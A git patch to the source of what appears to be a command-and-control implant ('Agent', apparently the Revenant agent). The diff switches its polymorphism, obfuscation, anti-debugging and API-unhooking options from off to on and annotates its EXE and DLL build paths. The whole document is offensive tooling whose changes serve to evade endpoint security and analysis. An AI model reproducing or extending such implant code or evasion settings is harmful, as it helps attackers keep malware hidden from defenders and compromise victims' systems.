From 3667289e59b47883ce31e2227dbd7eec6d2b722b Mon Sep 17 00:00:00 2001 From: 0xtriboulet Date: Mon, 9 Oct 2023 16:29:18 -0700 Subject: [PATCH] TESTING Windows XP Support --- Agent/Include/Config.h | 8 ++++---- Agent/Source/Main.c | 4 ++-- Agent/Source/Utilities.c | 1 + 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/Agent/Include/Config.h b/Agent/Include/Config.h index 441d1d0..874d13e 100644 --- a/Agent/Include/Config.h +++ b/Agent/Include/Config.h @@ -4,10 +4,10 @@ #define CONFIG_PORT 9001 #define CONFIG_SECURE FALSE #define CONFIG_SLEEP 3 -#define CONFIG_POLYMORPHIC FALSE -#define CONFIG_OBFUSCATION FALSE +#define CONFIG_POLYMORPHIC TRUE +#define CONFIG_OBFUSCATION TRUE #define CONFIG_ARCH 86 #define CONFIG_NATIVE FALSE -#define CONFIG_ANTI_DEBUG FALSE -#define CONFIG_UNHOOK 0 +#define CONFIG_ANTI_DEBUG TRUE +#define CONFIG_UNHOOK 1 #define CONFIG_MAKE 0 diff --git a/Agent/Source/Main.c b/Agent/Source/Main.c index 9b3d1c1..b9f3ef1 100644 --- a/Agent/Source/Main.c +++ b/Agent/Source/Main.c @@ -10,7 +10,7 @@ INSTANCE Instance = { 0 }; -#if CONFIG_MAKE == 0 +#if CONFIG_MAKE == 0 // EXE INT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nShowCmd ) { $$$ RvntInit(); @@ -34,7 +34,7 @@ INT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLin return 0; } -#elif CONFIG_MAKE == 1 +#elif CONFIG_MAKE == 1 // DLL __declspec(dllexport) VOID run(); BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD ul_reason_for_call, LPVOID lpReserved){ diff --git a/Agent/Source/Utilities.c b/Agent/Source/Utilities.c index fedeb02..8997828 100644 --- a/Agent/Source/Utilities.c +++ b/Agent/Source/Utilities.c @@ -8,6 +8,7 @@ #include "Poly.h" #include "Dbg.h" #include "Asm.h" +#include "Defs.h" #include